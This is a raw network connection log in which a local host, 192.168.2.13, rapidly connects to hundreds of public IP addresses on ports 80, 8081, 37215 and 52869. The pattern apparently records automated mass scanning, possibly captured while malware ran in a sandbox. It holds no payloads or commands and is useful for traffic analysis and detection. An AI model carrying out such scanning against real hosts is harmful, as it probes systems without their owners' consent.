Jul 20, 2024 23:05:45.620755911 CEST	21679	80	192.168.2.13	88.7.36.243
Jul 20, 2024 23:05:45.620755911 CEST	21679	80	192.168.2.13	88.205.104.244
Jul 20, 2024 23:05:45.620755911 CEST	21679	80	192.168.2.13	88.63.101.231
Jul 20, 2024 23:05:45.620755911 CEST	21679	80	192.168.2.13	88.131.112.206
Jul 20, 2024 23:05:45.620755911 CEST	21679	80	192.168.2.13	88.89.132.223
Jul 20, 2024 23:05:45.620755911 CEST	21679	80	192.168.2.13	88.108.96.105
Jul 20, 2024 23:05:45.622049093 CEST	21679	80	192.168.2.13	88.53.231.168
Jul 20, 2024 23:05:45.622049093 CEST	21679	80	192.168.2.13	88.187.148.24
Jul 20, 2024 23:05:45.622049093 CEST	38986	52869	192.168.2.13	185.61.229.112
Jul 20, 2024 23:05:45.622049093 CEST	49596	8081	192.168.2.13	222.73.141.205
Jul 20, 2024 23:05:45.622070074 CEST	80	39166	95.96.37.96	192.168.2.13
Jul 20, 2024 23:05:45.622076988 CEST	80	48478	95.169.39.23	192.168.2.13
Jul 20, 2024 23:05:45.622090101 CEST	80	41424	95.212.58.133	192.168.2.13
Jul 20, 2024 23:05:45.622673988 CEST	21679	80	192.168.2.13	88.31.228.89
Jul 20, 2024 23:05:45.622673988 CEST	21679	80	192.168.2.13	88.52.138.143
Jul 20, 2024 23:05:45.622673988 CEST	21679	80	192.168.2.13	88.175.168.25
Jul 20, 2024 23:05:45.622673988 CEST	21679	80	192.168.2.13	88.124.41.38
Jul 20, 2024 23:05:45.622673988 CEST	21679	80	192.168.2.13	88.27.73.67
Jul 20, 2024 23:05:45.622673988 CEST	21679	80	192.168.2.13	88.35.159.179
Jul 20, 2024 23:05:45.622673988 CEST	21679	80	192.168.2.13	88.160.72.136
Jul 20, 2024 23:05:45.622685909 CEST	80	39746	95.115.29.222	192.168.2.13
Jul 20, 2024 23:05:45.625153065 CEST	80	60152	95.151.244.207	192.168.2.13
Jul 20, 2024 23:05:45.625161886 CEST	80	21679	88.128.99.166	192.168.2.13
Jul 20, 2024 23:05:45.625180006 CEST	80	21679	88.85.135.18	192.168.2.13
Jul 20, 2024 23:05:45.625293970 CEST	80	21679	88.7.98.129	192.168.2.13
Jul 20, 2024 23:05:45.625300884 CEST	80	21679	88.91.61.153	192.168.2.13
Jul 20, 2024 23:05:45.625422955 CEST	80	21679	88.251.139.156	192.168.2.13
Jul 20, 2024 23:05:45.625475883 CEST	21679	80	192.168.2.13	88.98.186.154
Jul 20, 2024 23:05:45.625475883 CEST	21679	80	192.168.2.13	88.51.82.147
Jul 20, 2024 23:05:45.625475883 CEST	21679	80	192.168.2.13	88.253.217.90
Jul 20, 2024 23:05:45.625475883 CEST	21679	80	192.168.2.13	88.116.65.222
Jul 20, 2024 23:05:45.625475883 CEST	21679	80	192.168.2.13	88.83.178.217
Jul 20, 2024 23:05:45.625475883 CEST	21679	80	192.168.2.13	88.68.53.66
Jul 20, 2024 23:05:45.625475883 CEST	21679	80	192.168.2.13	88.218.166.48
Jul 20, 2024 23:05:45.625475883 CEST	21679	80	192.168.2.13	88.172.52.71
Jul 20, 2024 23:05:45.626281977 CEST	21679	80	192.168.2.13	88.138.59.9
Jul 20, 2024 23:05:45.626281977 CEST	21679	80	192.168.2.13	88.252.66.86
Jul 20, 2024 23:05:45.626281977 CEST	21679	80	192.168.2.13	88.141.165.215
Jul 20, 2024 23:05:45.626281977 CEST	21679	80	192.168.2.13	88.15.209.1
Jul 20, 2024 23:05:45.626281977 CEST	21679	80	192.168.2.13	88.212.189.105
Jul 20, 2024 23:05:45.626369953 CEST	80	21679	88.3.70.116	192.168.2.13
Jul 20, 2024 23:05:45.626482010 CEST	80	21679	88.154.251.160	192.168.2.13
Jul 20, 2024 23:05:45.627301931 CEST	58896	52869	192.168.2.13	107.96.10.112
Jul 20, 2024 23:05:45.627590895 CEST	21679	80	192.168.2.13	88.115.60.235
Jul 20, 2024 23:05:45.627590895 CEST	21679	80	192.168.2.13	88.141.98.95
Jul 20, 2024 23:05:45.627590895 CEST	43088	80	192.168.2.13	95.63.131.167
Jul 20, 2024 23:05:45.627590895 CEST	44016	80	192.168.2.13	95.84.78.14
Jul 20, 2024 23:05:45.627590895 CEST	57406	80	192.168.2.13	95.205.237.32
Jul 20, 2024 23:05:45.627791882 CEST	80	21679	88.79.235.113	192.168.2.13
Jul 20, 2024 23:05:45.627974987 CEST	80	21679	88.7.36.243	192.168.2.13
Jul 20, 2024 23:05:45.628032923 CEST	21679	80	192.168.2.13	88.216.198.129
Jul 20, 2024 23:05:45.628032923 CEST	21679	80	192.168.2.13	88.247.40.150
Jul 20, 2024 23:05:45.628032923 CEST	21679	80	192.168.2.13	88.107.51.109
Jul 20, 2024 23:05:45.628032923 CEST	21679	80	192.168.2.13	88.230.250.99
Jul 20, 2024 23:05:45.628032923 CEST	21679	80	192.168.2.13	88.191.36.22
Jul 20, 2024 23:05:45.628032923 CEST	21679	80	192.168.2.13	88.139.163.212
Jul 20, 2024 23:05:45.628032923 CEST	21679	80	192.168.2.13	88.88.252.243
Jul 20, 2024 23:05:45.628032923 CEST	21679	80	192.168.2.13	88.93.68.101
Jul 20, 2024 23:05:45.628735065 CEST	80	21679	88.205.104.244	192.168.2.13
Jul 20, 2024 23:05:45.629029036 CEST	8081	58180	181.136.205.166	192.168.2.13
Jul 20, 2024 23:05:45.629147053 CEST	52869	43695	101.61.197.24	192.168.2.13
Jul 20, 2024 23:05:45.629180908 CEST	52869	43695	71.173.114.130	192.168.2.13
Jul 20, 2024 23:05:45.629193068 CEST	52869	43695	223.157.207.130	192.168.2.13
Jul 20, 2024 23:05:45.629204988 CEST	52869	43695	166.161.253.19	192.168.2.13
Jul 20, 2024 23:05:45.629210949 CEST	52869	43695	98.105.190.249	192.168.2.13
Jul 20, 2024 23:05:45.629216909 CEST	52869	43695	31.231.151.30	192.168.2.13
Jul 20, 2024 23:05:45.629221916 CEST	52869	43695	53.56.198.95	192.168.2.13
Jul 20, 2024 23:05:45.629228115 CEST	52869	43695	42.111.125.168	192.168.2.13
Jul 20, 2024 23:05:45.629232883 CEST	52869	43695	12.207.30.125	192.168.2.13
Jul 20, 2024 23:05:45.629342079 CEST	80	21679	88.63.101.231	192.168.2.13
Jul 20, 2024 23:05:45.631820917 CEST	21679	80	192.168.2.13	88.178.28.212
Jul 20, 2024 23:05:45.631820917 CEST	21679	80	192.168.2.13	88.41.207.242
Jul 20, 2024 23:05:45.631820917 CEST	21679	80	192.168.2.13	88.52.121.118
Jul 20, 2024 23:05:45.631820917 CEST	21679	80	192.168.2.13	88.106.63.81
Jul 20, 2024 23:05:45.631820917 CEST	60816	80	192.168.2.13	95.233.96.193
Jul 20, 2024 23:05:45.631820917 CEST	43695	52869	192.168.2.13	101.61.197.24
Jul 20, 2024 23:05:45.631820917 CEST	43695	52869	192.168.2.13	71.173.114.130
Jul 20, 2024 23:05:45.632257938 CEST	8081	38066	20.129.231.127	192.168.2.13
Jul 20, 2024 23:05:45.632370949 CEST	80	21679	88.131.112.206	192.168.2.13
Jul 20, 2024 23:05:45.632394075 CEST	80	21679	88.89.132.223	192.168.2.13
Jul 20, 2024 23:05:45.632472992 CEST	54612	8081	192.168.2.13	91.155.31.222
Jul 20, 2024 23:05:45.633199930 CEST	21679	80	192.168.2.13	88.40.14.232
Jul 20, 2024 23:05:45.633199930 CEST	49160	8081	192.168.2.13	222.36.209.242
Jul 20, 2024 23:05:45.633199930 CEST	60976	8081	192.168.2.13	87.218.183.140
Jul 20, 2024 23:05:45.633199930 CEST	36500	8081	192.168.2.13	204.114.132.223
Jul 20, 2024 23:05:45.633213997 CEST	80	21679	88.108.96.105	192.168.2.13
Jul 20, 2024 23:05:45.634433031 CEST	57202	37215	192.168.2.13	197.248.18.125
Jul 20, 2024 23:05:45.634433031 CEST	58920	37215	192.168.2.13	157.120.68.241
Jul 20, 2024 23:05:45.634685993 CEST	52574	37215	192.168.2.13	157.168.102.178
Jul 20, 2024 23:05:45.634685993 CEST	36368	52869	192.168.2.13	101.59.242.87
Jul 20, 2024 23:05:45.634685993 CEST	55022	52869	192.168.2.13	152.36.106.192
Jul 20, 2024 23:05:45.634685993 CEST	37476	8081	192.168.2.13	100.4.120.218
Jul 20, 2024 23:05:45.634685993 CEST	51640	80	192.168.2.13	95.114.134.52
Jul 20, 2024 23:05:45.634732962 CEST	21679	80	192.168.2.13	88.78.143.228
Jul 20, 2024 23:05:45.634732962 CEST	21679	80	192.168.2.13	88.251.249.192
Jul 20, 2024 23:05:45.634732962 CEST	21679	80	192.168.2.13	88.35.9.208
Jul 20, 2024 23:05:45.634733915 CEST	21679	80	192.168.2.13	88.10.180.85
Jul 20, 2024 23:05:45.634733915 CEST	21679	80	192.168.2.13	88.65.19.237
Jul 20, 2024 23:05:45.634733915 CEST	21679	80	192.168.2.13	88.101.123.96
Jul 20, 2024 23:05:45.634733915 CEST	21679	80	192.168.2.13	88.204.228.12
Jul 20, 2024 23:05:45.634733915 CEST	21679	80	192.168.2.13	88.60.6.204
Jul 20, 2024 23:05:45.636457920 CEST	21679	80	192.168.2.13	88.235.63.26
Jul 20, 2024 23:05:45.636457920 CEST	21679	80	192.168.2.13	88.151.16.178
Jul 20, 2024 23:05:45.636457920 CEST	21679	80	192.168.2.13	88.220.227.66
Jul 20, 2024 23:05:45.636457920 CEST	21679	80	192.168.2.13	88.14.125.80
Jul 20, 2024 23:05:45.636457920 CEST	21679	80	192.168.2.13	88.104.171.134
Jul 20, 2024 23:05:45.636457920 CEST	21679	80	192.168.2.13	88.250.229.106
Jul 20, 2024 23:05:45.636457920 CEST	47468	80	192.168.2.13	95.12.214.212
Jul 20, 2024 23:05:45.636457920 CEST	50094	52869	192.168.2.13	196.5.188.187
Jul 20, 2024 23:05:45.637402058 CEST	59880	80	192.168.2.13	95.169.160.58
Jul 20, 2024 23:05:45.637402058 CEST	44630	80	192.168.2.13	95.241.185.124
Jul 20, 2024 23:05:45.637402058 CEST	32948	80	192.168.2.13	95.96.165.243
Jul 20, 2024 23:05:45.637402058 CEST	54820	80	192.168.2.13	95.157.224.56
Jul 20, 2024 23:05:45.637402058 CEST	36696	80	192.168.2.13	95.145.15.233
Jul 20, 2024 23:05:45.637402058 CEST	51090	80	192.168.2.13	95.55.65.39
Jul 20, 2024 23:05:45.637402058 CEST	38288	80	192.168.2.13	95.123.15.205
Jul 20, 2024 23:05:45.637402058 CEST	54588	80	192.168.2.13	95.83.248.117
Jul 20, 2024 23:05:45.637738943 CEST	38066	8081	192.168.2.13	20.129.231.127
Jul 20, 2024 23:05:45.638195992 CEST	43695	52869	192.168.2.13	223.157.207.130
Jul 20, 2024 23:05:45.638195992 CEST	43695	52869	192.168.2.13	166.161.253.19
Jul 20, 2024 23:05:45.638195992 CEST	43695	52869	192.168.2.13	31.231.151.30
Jul 20, 2024 23:05:45.638195992 CEST	43695	52869	192.168.2.13	98.105.190.249
Jul 20, 2024 23:05:45.638195992 CEST	43695	52869	192.168.2.13	53.56.198.95
Jul 20, 2024 23:05:45.638195992 CEST	43695	52869	192.168.2.13	42.111.125.168
Jul 20, 2024 23:05:45.638195992 CEST	43695	52869	192.168.2.13	12.207.30.125
Jul 20, 2024 23:05:45.639192104 CEST	21679	80	192.168.2.13	88.128.99.166
Jul 20, 2024 23:05:45.639192104 CEST	21679	80	192.168.2.13	88.85.135.18
Jul 20, 2024 23:05:45.639192104 CEST	21679	80	192.168.2.13	88.7.98.129
Jul 20, 2024 23:05:45.639192104 CEST	21679	80	192.168.2.13	88.91.61.153
Jul 20, 2024 23:05:45.639192104 CEST	21679	80	192.168.2.13	88.251.139.156
Jul 20, 2024 23:05:45.639192104 CEST	21679	80	192.168.2.13	88.3.70.116
Jul 20, 2024 23:05:45.639192104 CEST	21679	80	192.168.2.13	88.154.251.160
Jul 20, 2024 23:05:45.640702009 CEST	37800	52869	192.168.2.13	81.130.219.80
Jul 20, 2024 23:05:45.640702009 CEST	51660	37215	192.168.2.13	157.19.102.202
Jul 20, 2024 23:05:45.640702009 CEST	59198	8081	192.168.2.13	101.54.73.246
Jul 20, 2024 23:05:45.643080950 CEST	56802	8081	192.168.2.13	58.181.16.4
Jul 20, 2024 23:05:45.643080950 CEST	54418	37215	192.168.2.13	41.189.155.19
Jul 20, 2024 23:05:45.643080950 CEST	54488	80	192.168.2.13	95.194.234.149
Jul 20, 2024 23:05:45.643080950 CEST	47202	80	192.168.2.13	95.33.23.31
Jul 20, 2024 23:05:45.643080950 CEST	36806	80	192.168.2.13	95.42.35.197
Jul 20, 2024 23:05:45.643788099 CEST	58180	8081	192.168.2.13	181.136.205.166
Jul 20, 2024 23:05:45.643788099 CEST	33476	37215	192.168.2.13	197.204.86.68
Jul 20, 2024 23:05:45.644368887 CEST	21679	80	192.168.2.13	88.156.182.213
Jul 20, 2024 23:05:45.644368887 CEST	21679	80	192.168.2.13	88.31.69.134
Jul 20, 2024 23:05:45.644368887 CEST	21679	80	192.168.2.13	88.28.173.61
Jul 20, 2024 23:05:45.644368887 CEST	21679	80	192.168.2.13	88.154.181.10
Jul 20, 2024 23:05:45.644368887 CEST	21679	80	192.168.2.13	88.234.44.222
Jul 20, 2024 23:05:45.644368887 CEST	21679	80	192.168.2.13	88.120.24.148
Jul 20, 2024 23:05:45.644368887 CEST	21679	80	192.168.2.13	88.232.14.140
Jul 20, 2024 23:05:45.644368887 CEST	21679	80	192.168.2.13	88.52.34.219
Jul 20, 2024 23:05:45.645047903 CEST	33656	52869	192.168.2.13	78.110.167.93
Jul 20, 2024 23:05:45.645585060 CEST	21679	80	192.168.2.13	88.79.235.113
Jul 20, 2024 23:05:45.645585060 CEST	21679	80	192.168.2.13	88.7.36.243
Jul 20, 2024 23:05:45.645586014 CEST	21679	80	192.168.2.13	88.205.104.244
Jul 20, 2024 23:05:45.645586014 CEST	21679	80	192.168.2.13	88.63.101.231
Jul 20, 2024 23:05:45.645967007 CEST	48974	8081	192.168.2.13	202.202.65.175
Jul 20, 2024 23:05:45.646089077 CEST	48200	80	192.168.2.13	95.203.108.124
Jul 20, 2024 23:05:45.646089077 CEST	53414	80	192.168.2.13	95.169.197.20
Jul 20, 2024 23:05:45.646089077 CEST	43928	80	192.168.2.13	95.101.78.125
Jul 20, 2024 23:05:45.646089077 CEST	33520	80	192.168.2.13	95.216.126.250
Jul 20, 2024 23:05:45.646089077 CEST	54430	80	192.168.2.13	95.99.179.194
Jul 20, 2024 23:05:45.646089077 CEST	53178	80	192.168.2.13	95.25.159.84
Jul 20, 2024 23:05:45.646089077 CEST	37600	80	192.168.2.13	95.184.164.197
Jul 20, 2024 23:05:45.646089077 CEST	21679	80	192.168.2.13	88.18.0.134
Jul 20, 2024 23:05:45.646636009 CEST	60092	37215	192.168.2.13	197.164.234.103
Jul 20, 2024 23:05:45.649069071 CEST	56604	8081	192.168.2.13	146.126.129.204
Jul 20, 2024 23:05:45.649486065 CEST	21679	80	192.168.2.13	88.131.112.206
Jul 20, 2024 23:05:45.649486065 CEST	21679	80	192.168.2.13	88.89.132.223
Jul 20, 2024 23:05:45.649487019 CEST	21679	80	192.168.2.13	88.108.96.105
Jul 20, 2024 23:05:45.649832964 CEST	21679	80	192.168.2.13	88.180.70.10
Jul 20, 2024 23:05:45.649832964 CEST	21679	80	192.168.2.13	88.105.53.197
Jul 20, 2024 23:05:45.649832964 CEST	21679	80	192.168.2.13	88.206.143.241
Jul 20, 2024 23:05:45.649832964 CEST	21679	80	192.168.2.13	88.88.217.4
Jul 20, 2024 23:05:45.649832964 CEST	21679	80	192.168.2.13	88.221.188.36
Jul 20, 2024 23:05:45.649832964 CEST	21679	80	192.168.2.13	88.27.89.191
Jul 20, 2024 23:05:45.649832964 CEST	21679	80	192.168.2.13	88.180.131.191
Jul 20, 2024 23:05:45.649832964 CEST	21679	80	192.168.2.13	88.62.75.125
Jul 20, 2024 23:05:45.650074959 CEST	21679	80	192.168.2.13	88.85.145.222
Jul 20, 2024 23:05:45.650074959 CEST	21679	80	192.168.2.13	88.157.121.161
Jul 20, 2024 23:05:45.650074959 CEST	21679	80	192.168.2.13	88.20.19.247
Jul 20, 2024 23:05:45.650074959 CEST	21679	80	192.168.2.13	88.99.119.245
Jul 20, 2024 23:05:45.650074959 CEST	21679	80	192.168.2.13	88.111.123.32
Jul 20, 2024 23:05:45.650074959 CEST	21679	80	192.168.2.13	88.253.60.15
Jul 20, 2024 23:05:45.650074959 CEST	21679	80	192.168.2.13	88.161.17.205
Jul 20, 2024 23:05:45.650074959 CEST	21679	80	192.168.2.13	88.166.86.178
Jul 20, 2024 23:05:45.650976896 CEST	80	21679	88.115.60.235	192.168.2.13
Jul 20, 2024 23:05:45.650983095 CEST	80	21679	88.141.98.95	192.168.2.13
Jul 20, 2024 23:05:45.650988102 CEST	80	57406	95.205.237.32	192.168.2.13
Jul 20, 2024 23:05:45.650993109 CEST	8081	51104	204.238.227.79	192.168.2.13
Jul 20, 2024 23:05:45.650995970 CEST	52869	55022	152.36.106.192	192.168.2.13
Jul 20, 2024 23:05:45.650999069 CEST	80	51640	95.114.134.52	192.168.2.13
Jul 20, 2024 23:05:45.651000023 CEST	80	59880	95.169.160.58	192.168.2.13
Jul 20, 2024 23:05:45.651001930 CEST	80	44630	95.241.185.124	192.168.2.13
Jul 20, 2024 23:05:45.651002884 CEST	80	54820	95.157.224.56	192.168.2.13
Jul 20, 2024 23:05:45.651005030 CEST	80	56136	95.221.171.64	192.168.2.13
Jul 20, 2024 23:05:45.651006937 CEST	80	36696	95.145.15.233	192.168.2.13
Jul 20, 2024 23:05:45.651007891 CEST	80	51090	95.55.65.39	192.168.2.13
Jul 20, 2024 23:05:45.651010036 CEST	52869	58708	46.81.190.204	192.168.2.13
Jul 20, 2024 23:05:45.651010036 CEST	80	38288	95.123.15.205	192.168.2.13
Jul 20, 2024 23:05:45.651010990 CEST	37215	51660	157.19.102.202	192.168.2.13
Jul 20, 2024 23:05:45.651011944 CEST	80	32948	95.96.165.243	192.168.2.13
Jul 20, 2024 23:05:45.651012897 CEST	8081	59198	101.54.73.246	192.168.2.13
Jul 20, 2024 23:05:45.651014090 CEST	37215	48028	52.192.132.102	192.168.2.13
Jul 20, 2024 23:05:45.651014090 CEST	8081	56802	58.181.16.4	192.168.2.13
Jul 20, 2024 23:05:45.651021004 CEST	37215	54418	41.189.155.19	192.168.2.13
Jul 20, 2024 23:05:45.651025057 CEST	80	54588	95.83.248.117	192.168.2.13
Jul 20, 2024 23:05:45.651088953 CEST	80	21679	88.156.182.213	192.168.2.13
Jul 20, 2024 23:05:45.651093960 CEST	80	54488	95.194.234.149	192.168.2.13
Jul 20, 2024 23:05:45.651098013 CEST	80	21679	88.31.69.134	192.168.2.13
Jul 20, 2024 23:05:45.651298046 CEST	52869	33656	78.110.167.93	192.168.2.13
Jul 20, 2024 23:05:45.651312113 CEST	80	21679	88.28.173.61	192.168.2.13
Jul 20, 2024 23:05:45.651316881 CEST	80	47202	95.33.23.31	192.168.2.13
Jul 20, 2024 23:05:45.651344061 CEST	33656	52869	192.168.2.13	78.110.167.93
Jul 20, 2024 23:05:45.651360989 CEST	37215	33476	197.204.86.68	192.168.2.13
Jul 20, 2024 23:05:45.651371956 CEST	80	36806	95.42.35.197	192.168.2.13
Jul 20, 2024 23:05:45.651376963 CEST	8081	48974	202.202.65.175	192.168.2.13
Jul 20, 2024 23:05:45.652025938 CEST	80	21679	88.154.181.10	192.168.2.13
Jul 20, 2024 23:05:45.652030945 CEST	80	48200	95.203.108.124	192.168.2.13
Jul 20, 2024 23:05:45.652371883 CEST	56136	80	192.168.2.13	95.221.171.64
Jul 20, 2024 23:05:45.652371883 CEST	58708	52869	192.168.2.13	46.81.190.204
Jul 20, 2024 23:05:45.652373075 CEST	48028	37215	192.168.2.13	52.192.132.102
Jul 20, 2024 23:05:45.652371883 CEST	51104	8081	192.168.2.13	204.238.227.79
Jul 20, 2024 23:05:45.652399063 CEST	33476	37215	192.168.2.13	197.204.86.68
Jul 20, 2024 23:05:45.652399063 CEST	48974	8081	192.168.2.13	202.202.65.175
Jul 20, 2024 23:05:45.652584076 CEST	57406	80	192.168.2.13	95.205.237.32
Jul 20, 2024 23:05:45.652584076 CEST	21679	80	192.168.2.13	88.115.60.235
Jul 20, 2024 23:05:45.652584076 CEST	21679	80	192.168.2.13	88.141.98.95
Jul 20, 2024 23:05:45.653309107 CEST	57584	80	192.168.2.13	95.245.1.208
Jul 20, 2024 23:05:45.653836012 CEST	21679	80	192.168.2.13	88.27.54.246
Jul 20, 2024 23:05:45.653836012 CEST	21679	80	192.168.2.13	88.54.207.21
Jul 20, 2024 23:05:45.653836012 CEST	21679	80	192.168.2.13	88.33.12.61
Jul 20, 2024 23:05:45.653836012 CEST	21679	80	192.168.2.13	88.227.13.185
Jul 20, 2024 23:05:45.653836012 CEST	21679	80	192.168.2.13	88.14.190.113
Jul 20, 2024 23:05:45.653836012 CEST	21679	80	192.168.2.13	88.83.134.218
Jul 20, 2024 23:05:45.653836012 CEST	21679	80	192.168.2.13	88.144.18.181
Jul 20, 2024 23:05:45.653836012 CEST	21679	80	192.168.2.13	88.214.186.104
Jul 20, 2024 23:05:45.654529095 CEST	47370	37215	192.168.2.13	197.234.141.118
Jul 20, 2024 23:05:45.655132055 CEST	52116	8081	192.168.2.13	64.166.68.131
Jul 20, 2024 23:05:45.655278921 CEST	37215	60092	197.164.234.103	192.168.2.13
Jul 20, 2024 23:05:45.655288935 CEST	80	53414	95.169.197.20	192.168.2.13
Jul 20, 2024 23:05:45.655293941 CEST	80	43928	95.101.78.125	192.168.2.13
Jul 20, 2024 23:05:45.655605078 CEST	80	21679	88.234.44.222	192.168.2.13
Jul 20, 2024 23:05:45.655615091 CEST	80	33520	95.216.126.250	192.168.2.13
Jul 20, 2024 23:05:45.656022072 CEST	80	21679	88.120.24.148	192.168.2.13
Jul 20, 2024 23:05:45.656027079 CEST	80	54430	95.99.179.194	192.168.2.13
Jul 20, 2024 23:05:45.656038046 CEST	80	21679	88.232.14.140	192.168.2.13
Jul 20, 2024 23:05:45.656042099 CEST	80	53178	95.25.159.84	192.168.2.13
Jul 20, 2024 23:05:45.656055927 CEST	52869	38986	185.61.229.112	192.168.2.13
Jul 20, 2024 23:05:45.656064987 CEST	80	37600	95.184.164.197	192.168.2.13
Jul 20, 2024 23:05:45.656069040 CEST	8081	56604	146.126.129.204	192.168.2.13
Jul 20, 2024 23:05:45.656074047 CEST	80	21679	88.18.0.134	192.168.2.13
Jul 20, 2024 23:05:45.656078100 CEST	80	21679	88.52.34.219	192.168.2.13
Jul 20, 2024 23:05:45.656086922 CEST	80	21679	88.180.70.10	192.168.2.13
Jul 20, 2024 23:05:45.656101942 CEST	56604	8081	192.168.2.13	146.126.129.204
Jul 20, 2024 23:05:45.656368971 CEST	38986	52869	192.168.2.13	185.61.229.112
Jul 20, 2024 23:05:45.656651020 CEST	47722	52869	192.168.2.13	194.72.202.29
Jul 20, 2024 23:05:45.656889915 CEST	80	21679	88.105.53.197	192.168.2.13
Jul 20, 2024 23:05:45.656951904 CEST	80	21679	88.206.143.241	192.168.2.13
Jul 20, 2024 23:05:45.656956911 CEST	8081	49596	222.73.141.205	192.168.2.13
Jul 20, 2024 23:05:45.657058001 CEST	60092	37215	192.168.2.13	197.164.234.103
Jul 20, 2024 23:05:45.657159090 CEST	80	21679	88.88.217.4	192.168.2.13
Jul 20, 2024 23:05:45.657293081 CEST	80	21679	88.85.145.222	192.168.2.13
Jul 20, 2024 23:05:45.657716036 CEST	80	21679	88.221.188.36	192.168.2.13
Jul 20, 2024 23:05:45.657731056 CEST	80	21679	88.157.121.161	192.168.2.13
Jul 20, 2024 23:05:45.657919884 CEST	21679	80	192.168.2.13	88.93.149.135
Jul 20, 2024 23:05:45.657919884 CEST	21679	80	192.168.2.13	88.58.161.253
Jul 20, 2024 23:05:45.657919884 CEST	44084	37215	192.168.2.13	197.248.203.139
Jul 20, 2024 23:05:45.657919884 CEST	44719	37215	192.168.2.13	41.179.220.131
Jul 20, 2024 23:05:45.657919884 CEST	48202	80	192.168.2.13	95.82.40.159
Jul 20, 2024 23:05:45.658641100 CEST	47522	37215	192.168.2.13	41.128.226.57
Jul 20, 2024 23:05:45.658775091 CEST	21679	80	192.168.2.13	88.99.8.16
Jul 20, 2024 23:05:45.658775091 CEST	21679	80	192.168.2.13	88.196.192.254
Jul 20, 2024 23:05:45.658775091 CEST	21679	80	192.168.2.13	88.202.179.64
Jul 20, 2024 23:05:45.658776045 CEST	56232	8081	192.168.2.13	142.183.164.174
Jul 20, 2024 23:05:45.659653902 CEST	8081	49160	222.36.209.242	192.168.2.13
Jul 20, 2024 23:05:45.659658909 CEST	80	21679	88.27.89.191	192.168.2.13
Jul 20, 2024 23:05:45.659672022 CEST	80	21679	88.180.131.191	192.168.2.13
Jul 20, 2024 23:05:45.659689903 CEST	80	21679	88.62.75.125	192.168.2.13
Jul 20, 2024 23:05:45.659699917 CEST	80	21679	88.27.54.246	192.168.2.13
Jul 20, 2024 23:05:45.659704924 CEST	80	57584	95.245.1.208	192.168.2.13
Jul 20, 2024 23:05:45.659739017 CEST	57584	80	192.168.2.13	95.245.1.208
Jul 20, 2024 23:05:45.660056114 CEST	80	21679	88.20.19.247	192.168.2.13
Jul 20, 2024 23:05:45.660060883 CEST	37215	47370	197.234.141.118	192.168.2.13
Jul 20, 2024 23:05:45.660104990 CEST	47370	37215	192.168.2.13	197.234.141.118
Jul 20, 2024 23:05:45.660396099 CEST	80	21679	88.54.207.21	192.168.2.13
Jul 20, 2024 23:05:45.660401106 CEST	8081	54612	91.155.31.222	192.168.2.13
Jul 20, 2024 23:05:45.660489082 CEST	51078	8081	192.168.2.13	35.42.206.47
Jul 20, 2024 23:05:45.660533905 CEST	80	21679	88.99.119.245	192.168.2.13
Jul 20, 2024 23:05:45.660743952 CEST	80	21679	88.33.12.61	192.168.2.13
Jul 20, 2024 23:05:45.661294937 CEST	80	21679	88.227.13.185	192.168.2.13
Jul 20, 2024 23:05:45.661299944 CEST	8081	52116	64.166.68.131	192.168.2.13
Jul 20, 2024 23:05:45.661519051 CEST	40846	80	192.168.2.13	95.32.43.13
Jul 20, 2024 23:05:45.661624908 CEST	80	21679	88.111.123.32	192.168.2.13
Jul 20, 2024 23:05:45.661876917 CEST	80	21679	88.14.190.113	192.168.2.13
Jul 20, 2024 23:05:45.662256956 CEST	44719	37215	192.168.2.13	197.8.101.74
Jul 20, 2024 23:05:45.662256956 CEST	44719	37215	192.168.2.13	41.77.72.16
Jul 20, 2024 23:05:45.662256956 CEST	44719	37215	192.168.2.13	58.129.218.215
Jul 20, 2024 23:05:45.662256956 CEST	44719	37215	192.168.2.13	157.58.40.144
Jul 20, 2024 23:05:45.662256956 CEST	44719	37215	192.168.2.13	197.78.210.146
Jul 20, 2024 23:05:45.662257910 CEST	44719	37215	192.168.2.13	41.216.241.38
Jul 20, 2024 23:05:45.662257910 CEST	44719	37215	192.168.2.13	41.240.223.62
Jul 20, 2024 23:05:45.662257910 CEST	44719	37215	192.168.2.13	41.176.36.1
Jul 20, 2024 23:05:45.662609100 CEST	80	21679	88.83.134.218	192.168.2.13
Jul 20, 2024 23:05:45.662614107 CEST	80	21679	88.144.18.181	192.168.2.13
Jul 20, 2024 23:05:45.662622929 CEST	80	21679	88.253.60.15	192.168.2.13
Jul 20, 2024 23:05:45.662995100 CEST	52116	8081	192.168.2.13	64.166.68.131
Jul 20, 2024 23:05:45.663140059 CEST	37676	8081	192.168.2.13	81.175.215.92
Jul 20, 2024 23:05:45.663321018 CEST	59960	52869	192.168.2.13	66.105.78.156
Jul 20, 2024 23:05:45.663711071 CEST	80	21679	88.214.186.104	192.168.2.13
Jul 20, 2024 23:05:45.663716078 CEST	80	21679	88.161.17.205	192.168.2.13
Jul 20, 2024 23:05:45.664129972 CEST	44719	37215	192.168.2.13	197.160.45.157
Jul 20, 2024 23:05:45.664129972 CEST	44719	37215	192.168.2.13	157.110.238.56
Jul 20, 2024 23:05:45.664129972 CEST	44719	37215	192.168.2.13	88.75.242.7
Jul 20, 2024 23:05:45.664129972 CEST	44719	37215	192.168.2.13	197.87.113.51
Jul 20, 2024 23:05:45.664195061 CEST	80	21679	88.93.149.135	192.168.2.13
Jul 20, 2024 23:05:45.664201021 CEST	80	21679	88.166.86.178	192.168.2.13
Jul 20, 2024 23:05:45.664211035 CEST	80	60816	95.233.96.193	192.168.2.13
Jul 20, 2024 23:05:45.664371967 CEST	49596	8081	192.168.2.13	222.73.141.205
Jul 20, 2024 23:05:45.664372921 CEST	49160	8081	192.168.2.13	222.36.209.242
Jul 20, 2024 23:05:45.664376974 CEST	60816	80	192.168.2.13	95.233.96.193
Jul 20, 2024 23:05:45.664380074 CEST	80	21679	88.58.161.253	192.168.2.13
Jul 20, 2024 23:05:45.664385080 CEST	80	21679	88.99.8.16	192.168.2.13
Jul 20, 2024 23:05:45.664680004 CEST	37215	44084	197.248.203.139	192.168.2.13
Jul 20, 2024 23:05:45.664690018 CEST	52869	47722	194.72.202.29	192.168.2.13
Jul 20, 2024 23:05:45.664747000 CEST	47722	52869	192.168.2.13	194.72.202.29
Jul 20, 2024 23:05:45.665354967 CEST	59198	8081	192.168.2.13	101.54.73.246
Jul 20, 2024 23:05:45.665354967 CEST	51660	37215	192.168.2.13	157.19.102.202
Jul 20, 2024 23:05:45.665354967 CEST	56802	8081	192.168.2.13	58.181.16.4
Jul 20, 2024 23:05:45.665466070 CEST	80	21679	88.196.192.254	192.168.2.13
Jul 20, 2024 23:05:45.665755987 CEST	80	21679	88.202.179.64	192.168.2.13
